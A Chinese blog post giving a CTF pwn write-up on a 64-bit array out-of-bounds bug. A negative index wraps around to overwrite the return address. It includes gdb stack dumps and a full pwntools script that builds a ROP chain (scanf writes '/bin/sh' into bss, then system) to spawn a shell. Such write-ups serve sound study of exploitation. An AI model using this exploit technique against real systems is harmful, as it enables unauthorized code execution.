数组越界
2018.06.19
V1NKe
 热度
℃
前言:
最近也不知道自己在干嘛,状态特别的不好,还好没有一直颓废下去,现在来写一写这几天所学到的数组越界的一些东西。(可能是因为前些日子特别自不量力的去向安恒面一个二进制实习生的位置,结果被狠狠的打脸打到自暴自弃的缘故吧。好在想通了,还是要把自己变的更优秀才是,这样才能轮到自己去选择别人了吧。)
概述:
这是一道月初国赛半决赛上的题,做的时候找到了32位的原题来着。。结果做的是64位的,还看不懂别人写的payload是什么意思。。
介绍:
0x1. 数组越界原理:
0x1. 堆中的数组越界:
因为堆是我们自己分配的,如果越界,那么会把堆中其他空间的数据给写掉,或读取了其他空间的数据,这样就会导致其他变量的数据变得不对,如果是一个指针的话,那么有可能会引起crash,这里我们主要谈论栈中的数组越界问题。
0x2. 栈中的数组越界:
因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。
栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。
以下是我所画的数组元素在栈中的布局:
这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,这一点我们之后会讲到。
0x2. 正负数在计算机中的表示:
在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
类型 |
字节 |
范围 |
short int |
2byte(word) |
0~32767(0~0x7fff) -32768~-1(0x8000~0xffff) |
unsigned short int |
2byte(word) |
0~65535(0~0xffff) |
int |
4byte(dword) |
0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff) |
unsigned int |
4byte(dword) |
0~4294967295(0~0xffffffff) |
long int |
8byte(qword) |
正: 0~0x7fffffffffffffff 负:0x8000000000000000~0xffffffffffffffff |
unsigned long int |
8byte(qword) |
0~0xffffffffffffffff |
了解了数组越界的原理和利用方式之后,我们就来进入实践环节。
例题实践:
check一下:
1 2 3 4 5 6
| [*] '/home/parallels/Desktop/3/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
64位,开了栈保护和nx。
主程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void hacker() { signed int j; // [rsp+8h] [rbp-78h] signed int i; // [rsp+Ch] [rbp-74h] __int64 v2; // [rsp+10h] [rbp-70h] __int64 v3; // [rsp+18h] [rbp-68h] __int64 s[11]; // [rsp+20h] [rbp-60h] unsigned __int64 v5; // [rsp+78h] [rbp-8h]
v5 = __readfsqword(0x28u); puts("Welcome to hacker's system\n"); puts("Now you can set hackers' age\n"); memset(s, 0, 0x50uLL); for ( i = 0; i <= 9; ++i ) { puts("Enter hacker index:"); __isoc99_scanf("%lld", &v2); puts("Enter hacker age:"); __isoc99_scanf("%lld", &v3); if ( v2 > 9 ) exit(0); s[v2] = v3; } puts("Now let's see your creation:'"); for ( j = 0; j <= 9; ++j ) printf("%lld ", s[j]); }
|
漏洞点就出现在数组索引上面,只判断了大于9的情况,没有判断小于0的情况。所以可以利用负数来进行绕过。gdb调试一下,找出数组的栈地址:
1 2 3 4 5 6 7 8 9 10
| 0x7fffffffdd50: 0x0000000000000014 0x00007fffffffddf0 0x7fffffffdd60: 0x0000000000000000 0x0000000000400881 0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00 0x7fffffffdd80: 0xfffffffffffffff8 0x0000000000000014 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 --start 0x7fffffffdda0: 0x0000000000000000 0x0000000000000000 0x7fffffffddb0: 0x0000000000000000 0x0000000000000000 0x7fffffffddc0: 0x0000000000000000 0x0000000000000000 0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 --end 0x7fffffffdde0: 0x0000000000000000 0x4deabe7a5eca9400
|
0x7fffffffdd80处存储数组下标,0x7fffffffdd88处存储所要赋值给数组的内容。0x7fffffffdd90~0x7fffffffddd8处存储10个数组元素的内容。
再看看hack()函数的ret返回地址:
当我设置下标为1,内容为20的时候,栈中的内容是这样的:
1 2 3 4 5 6 7 8 9
| 0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00 0x7fffffffdd80: 0x0000000000000001 0x0000000000000014 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 0x7fffffffdda0: 0x0000000000000000 0x0000000000000000 0x7fffffffddb0: 0x0000000000000000 0x0000000000000000 0x7fffffffddc0: 0x0000000000000000 0x0000000000000000 0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdde0: 0x0000000000000000 0xaed11199af89ad00 0x7fffffffddf0: 0x00007fffffffde20 0x00000000004009ad
|
与上面我们所叙述的一样,当我们执行到这段汇编指令的时候:
1 2 3
| 0x400895 <hacker+158>: mov rax,QWORD PTR [rbp-0x70] 0x400899 <hacker+162>: mov rdx,QWORD PTR [rbp-0x68] => 0x40089d <hacker+166>: mov QWORD PTR [rbp+rax*8-0x60],rdx
|
rax中存储的是索引值,rdx中存储的是内容,[rbp+rax*8-0x60]这一段实质上就是数组元素的偏移寻址,即我们上文所说的十个数组元素的存储地址寻址,rdx赋值给它,那么我们这样就可以利用负数,来修改比数组元素更低地址的空间内容了。
那么这里应该就有疑问了,ret返回地址不是在数组元素地址的更高地址吗?用负数怎么能够达到修改ret地址内容的效果呢?
上面我们已经了解到正负数在计算机中的表示了,为了更容易理解,我们直接实践能很快理解,我们设置下标为-1,内容为20,在栈中的表示是这样的:
1 2 3 4
| 0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00 0x7fffffffdd80: 0xffffffffffffffff 0x0000000000000014 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 0x7fffffffdda0: 0x0000000000000000 0x0000000000000000
|
可以看见-1表示成了0xffffffffffffffff
。
现在来计算我们所需要输入的下标的值为多少才能覆盖返回地址。
ret地址:[rbp+0x8]
指向内存:[rbp+rax*8-0x60]
所以我们需要做到:(rbp+rax*8-0x60)%0x10000000000000000 == rbp+0x8
,还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000<rax<0xffffffffffffffff
。
这里为什么要取余数呢?因为64位程序中最高是16位(8字节),超出了16位最高位会被截断,所以这里我们可以得到多个可用的rax值。
1
| 0x800000000000000d,0xa00000000000000d,0xc00000000000000d,0xe00000000000000d
|
我们选用0xa00000000000000d来测试一下,转化成负数为-6917529027641081843
。作为下标输入,栈中地址为:
1 2
| 0x7fffffffdd80: 0xa00000000000000d 0x0000000000000014 0x7fffffffdd90: 0x0000000000000000 0x0000000000000000
|
再看看[rbp+rax*8-0x60]地址:
1 2
| gdb-peda$ p $rbp+$rax*8-0x60 $60 = (void *) 0x7fffffffddf8
|
成功任意改变栈地址内容。接下来就好构造了,有十次的机会写栈中的内容,足够了。
利用思路:
因为本身程序中就有system函数存在,所以我们只需要写入/bin/sh
就好了。
- 利用scanf函数将
/bin/sh
写入bss段。
- 调用system函数。
这里具体怎么去利用就不细说了,主要讲数组越界利用的这一部分。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import *
p = process('./pwn1') elf = ELF('pwn1')
p.recvuntil('name:\n') p.sendline('yzq') system_addr = elf.symbols['system'] bss_addr = elf.bss() scanf_addr = elf.symbols['__isoc99_scanf'] pop_rdi = 0x400a33 #pop rdi;ret pop_rsi = 0x400a31 #pop rsi;pop r15;ret ret_addr = 6917529027641081843 #0xa00000000000000d的负数形式 scanf_formot = 0x400AFC
#gdb.attach(p) #1 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rdi))
#2 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-1)) p.recvuntil('age:\n') p.sendline('%s' % (scanf_formot))
#3 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-2)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rsi))
#4 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-3)) p.recvuntil('age:\n') p.sendline('%s' % (bss_addr))
#5 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-4)) p.recvuntil('age:\n') p.sendline('%s' % (0x1)) #r15不相干,随意写
#6 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-5)) p.recvuntil('age:\n') p.sendline('%s' % (scanf_addr))
#7 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-6)) p.recvuntil('age:\n') p.sendline('%s' % (pop_rdi))
#8 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-7)) p.recvuntil('age:\n') p.sendline('%s' % (bss_addr))
#9 p.recvuntil('index:\n') p.sendline('-%s' % (ret_addr-8)) p.recvuntil('age:\n') p.sendline('%s' % (system_addr))
#10 p.recvuntil('index:\n') p.sendline('0') p.recvuntil('age:\n') p.sendline('0')
p.sendline('/bin/sh')
p.interactive()
|
相关链接:
- https://blog.csdn.net/qq_33438733/article/details/72851639
- https://blog.csdn.net/human_evolution/article/details/40752047
- https://ctf-wiki.github.io/ctf-wiki/pwn/integeroverflow/intof/